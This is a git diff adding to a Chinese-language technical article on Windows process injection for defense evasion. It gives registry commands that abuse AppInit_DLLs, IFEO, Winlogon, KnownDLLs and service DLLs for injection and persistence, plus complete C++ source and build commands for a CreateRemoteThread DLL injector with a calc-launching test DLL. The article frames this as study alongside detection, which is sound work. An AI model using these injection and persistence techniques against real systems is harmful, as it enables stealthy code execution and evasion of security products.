55 - 防御规避
66---
77
8- # 进程注入
8+ # 进程注入方法整理
99
1010
1111进程注入是一种在独立的活动进程的地址空间中执行任意代码的方法,在另一个进程的上下文中运行代码,会允许访问该进程的内存、系统资源、网络资源以及可能的特权提升。由于执行的代码由合法的程序代理执行,因此通过进程注入执行也可能会绕过部分安全产品的防病毒检测或进程白名单检测。
@@ -19,6 +19,260 @@ tags:
1919
2020本文的主题主要围绕各种进程注入技术进行原理讨论,并从防守方思考对应的检测和防御手段。
2121
22- ## 通过修改注册表实现注入和持久性
22+ ## 1 通过修改注册表实现注入和持久性
2323
2424
25+ 以下是针对上述常见 DLL 注入相关注册表项的 ` cmd ` 命令示例(以 ` C:\MyDlls\inject.dll ` 为例,部分需要管理员权限):
26+
27+ ** 1. AppInit_DLLs**
28+
29+ ``` cmd
30+ reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\MyDlls\inject.dll" /f
31+ reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
32+ ```
33+
34+ ** 2. IFEO Debugger**
35+ ``` cmd
36+ reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d "C:\MyDlls\inject.dll" /f
37+ ```
38+ > 注:通常 Debugger 应为可执行文件路径,DLL 注入需配合自定义 loader。
39+
40+ ** 3. Shell 扩展(以 ContextMenuHandlers 为例)**
41+ ```
42+ reg add "HKCR\*\shellex\ContextMenuHandlers\MyInject" /ve /t REG_SZ /d "{CLSID}" /f
43+ ```
44+ > 需先注册 DLL 并获取 CLSID。
45+
46+ ** 4. Winlogon Notify**
47+ ```
48+ reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\MyInject" /v DLLName /t REG_SZ /d "C:\MyDlls\inject.dll" /f
49+ ```
50+
51+ ** 5. KnownDLLs**
52+ ```
53+ reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs" /v inject /t REG_SZ /d "inject.dll" /f
54+ ```
55+ > 需将 DLL 放入 System32 目录,且此项修改有系统风险。
56+
57+ ** 6. Explorer ShellExecuteHooks**
58+ ```
59+ reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks" /v {CLSID} /t REG_SZ /d "" /f
60+ ```
61+ > 需先注册 DLL 并获取 CLSID。
62+
63+ ** 7. 服务 ServiceDll**
64+ ```
65+ reg add "HKLM\SYSTEM\CurrentControlSet\Services\MyService\Parameters" /v ServiceDll /t REG_SZ /d "C:\MyDlls\inject.dll" /f
66+ ```
67+
68+
69+ ** 注意事项:**
70+ - 修改注册表有风险,操作前请备份注册表。
71+ - 某些项(如 KnownDLLs、Winlogon)对系统影响极大,慎用。
72+ - 某些注册表项需配合 DLL 注册(如 Shell 扩展、ShellExecuteHooks)。
73+ - 需以管理员权限运行命令提示符。
74+
75+ ## 2 远程线程注入(Remote Thread Injection)
76+
77+ 通过远程线程注入(Remote Thread Injection)方式向指定进程注入 DLL。主要流程如下:
78+
79+ 1 . 参数解析:接收目标进程ID和DLL路径。
80+ 2 . 打开目标进程:使用 OpenProcess 获取进程句柄。
81+ 3 . 分配内存:用 VirtualAllocEx 在目标进程中分配一块内存,用于存放 DLL 路径。
82+ 4 . 写入 DLL 路径:用 WriteProcessMemory 将 DLL 路径写入目标进程的内存。
83+ 5 . 获取 LoadLibraryA 地址:通过 GetProcAddress 获取 Kernel32.dll 中 LoadLibraryA 的地址。
84+ 6 . 创建远程线程:用 CreateRemoteThread 在目标进程中创建线程,线程入口为 LoadLibraryA,参数为 DLL 路径,实现 DLL 注入。
85+ 7 . 等待线程结束:用 WaitForSingleObject 等待远程线程执行完毕。
86+ 8 . 资源清理:释放分配的内存,关闭句柄
87+
88+ ``` cpp
89+ // RemoteThreadInjector1.cpp
90+
91+ #include < windows.h>
92+ #include < iostream>
93+
94+ // DWORD: 32位无符号整型,typedef unsigned long DWORD;
95+ // HANDLE: Windows对象句柄,typedef void* HANDLE;
96+ // LPVOID: 通用指针类型,typedef void* LPVOID;
97+ // LPTHREAD_START_ROUTINE: 线程函数指针类型,typedef DWORD (WINAPI *LPTHREAD_START_ROUTINE)(LPVOID);
98+
99+ int main (int argc, char * argv[ ] )
100+ {
101+ SetConsoleOutputCP(CP_UTF8);
102+
103+ if (argc != 3)
104+ {
105+ std::cout << "用法: " << argv[0] << " <进程ID> <DLL路径>" << std::endl;
106+ return 1;
107+ }
108+
109+ DWORD pid = std::stoul(argv[1]);
110+ const char *dllPath = argv[2];
111+
112+ // 打开目标进程
113+ HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
114+ if (!hProcess)
115+ {
116+ std::cerr << "无法打开进程: " << GetLastError() << std::endl;
117+ return 1;
118+ }
119+
120+ // 在目标进程中分配内存
121+ LPVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1,
122+ MEM_COMMIT, PAGE_READWRITE);
123+ if (!pRemoteBuf)
124+ {
125+ std::cerr << "VirtualAllocEx 失败: " << GetLastError() << std::endl;
126+ CloseHandle(hProcess);
127+ return 1;
128+ }
129+
130+ // 写入 DLL 路径到目标进程
131+ if (!WriteProcessMemory(hProcess, pRemoteBuf, dllPath, strlen(dllPath) + 1, NULL))
132+ {
133+ std::cerr << "WriteProcessMemory 失败: " << GetLastError() << std::endl;
134+ VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
135+ CloseHandle(hProcess);
136+ return 1;
137+ }
138+
139+ // 获取 LoadLibraryA 地址
140+ LPTHREAD_START_ROUTINE pfnThreadRtn = (LPTHREAD_START_ROUTINE)
141+ GetProcAddress(GetModuleHandleA("Kernel32"), "LoadLibraryA");
142+ if (!pfnThreadRtn)
143+ {
144+ std::cerr << "GetProcAddress 失败: " << GetLastError() << std::endl;
145+ VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
146+ CloseHandle(hProcess);
147+ return 1;
148+ }
149+
150+ // 创建远程线程
151+ HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn,
152+ pRemoteBuf, 0, NULL);
153+ if (!hThread)
154+ {
155+ std::cerr << "CreateRemoteThread 失败: " << GetLastError() << std::endl;
156+ VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
157+ CloseHandle(hProcess);
158+ return 1;
159+ }
160+
161+ // 等待线程结束
162+ WaitForSingleObject(hThread, INFINITE);
163+
164+ // 清理
165+ VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
166+ CloseHandle(hThread);
167+ CloseHandle(hProcess);
168+
169+ std::cout << "DLL 注入成功!" << std::endl;
170+ return 0;
171+ }
172+ ```
173+
174+ 注入的 DLL 文件需要满足以下条件:
175+
176+ 1. 必须是标准的 Windows 动态链接库(.dll),并且导出 DllMain 函数。
177+ 2. DllMain 函数签名必须为:
178+ ```cpp
179+ BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
180+ ```
181+ 3 . 不能有依赖用户输入或复杂初始化的全局对象,避免注入时出错。
182+ 4 . 代码应尽量简洁,避免在 DllMain 中执行耗时或阻塞操作(如长时间等待、死循环等)。
183+ 5 . 如果需要与目标进程交互,需确保兼容性和稳定性,避免崩溃目标进程。
184+ 6 . 编译时目标平台(x86/x64)需与目标进程一致。
185+
186+ 简单来说,注入的 DLL 只需有合法的 DllMain,并且在 ` DLL_PROCESS_ATTACH ` 分支实现你的功能即可。
187+
188+ ``` cpp
189+ // InjectedDll.cpp
190+
191+ #include < windows.h>
192+
193+ BOOL APIENTRY DllMain (HMODULE hModule,
194+ DWORD ul_reason_for_call,
195+ LPVOID lpReserved)
196+ {
197+ switch (ul_reason_for_call)
198+ {
199+ case DLL_PROCESS_ATTACH:
200+ // 测试DLL是否被执行
201+ // MessageBoxW(NULL, L"DLL已被注入并执行", L"注入测试", MB_OK);
202+ WinExec("calc.exe", SW_SHOW);
203+ break;
204+ case DLL_THREAD_ATTACH:
205+ case DLL_THREAD_DETACH:
206+ case DLL_PROCESS_DETACH:
207+ break;
208+ }
209+ return TRUE;
210+ }
211+
212+ ```
213+ 编译命令
214+
215+ ```powershell
216+ g++ -shared -o InjectedDll.dll InjectedDll.cpp
217+ g++ RemoteThreadInjector1.cpp -o RemoteThreadInjector1
218+ ```
219+
220+ 注入命令
221+ ``` powershell
222+ .\RemoteThreadInjector1 35108 InjectedDll.dll路径
223+ ```
224+
225+ 除了直接指定目标进程ID,还可以指定进程名
226+
227+ ``` cpp
228+ // 获取指定进程名的第一个进程ID
229+ DWORD GetProcessIdByName (const char * processName)
230+ {
231+ DWORD processId = 0;
232+ PROCESSENTRY32 pe32;
233+ pe32.dwSize = sizeof(PROCESSENTRY32);
234+ HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
235+ if (hProcessSnap == INVALID_HANDLE_VALUE)
236+ return 0;
237+ if (Process32First(hProcessSnap, &pe32))
238+ {
239+ do
240+ {
241+ if (strcmp(pe32.szExeFile, processName) == 0)
242+ {
243+ processId = pe32.th32ProcessID;
244+ break;
245+ }
246+ } while (Process32Next(hProcessSnap, &pe32));
247+ }
248+ CloseHandle(hProcessSnap);
249+ return processId;
250+ }
251+
252+ int main(int argc, char * argv[ ] )
253+ {
254+ SetConsoleOutputCP(CP_UTF8);
255+ // 检查参数数量
256+ if (argc != 3)
257+ {
258+ std::cout << "用法: " << argv[ 0] << " <进程名.exe> <DLL路径>" << std::endl;
259+ return 1;
260+ }
261+
262+ // 获取目标进程ID
263+ DWORD pid = GetProcessIdByName(argv[1]);
264+ if (pid == 0)
265+ {
266+ std::cerr << "未找到指定进程: " << argv[1] << std::endl;
267+ return 1;
268+ }
269+
270+ ......
271+
272+
273+ ```
274+
275+ 注入命令
276+ ```powershell
277+ .\RemoteThreadInjector2 Obsidian.exe InjectedDll.dll路径
278+ ```
0 commit comments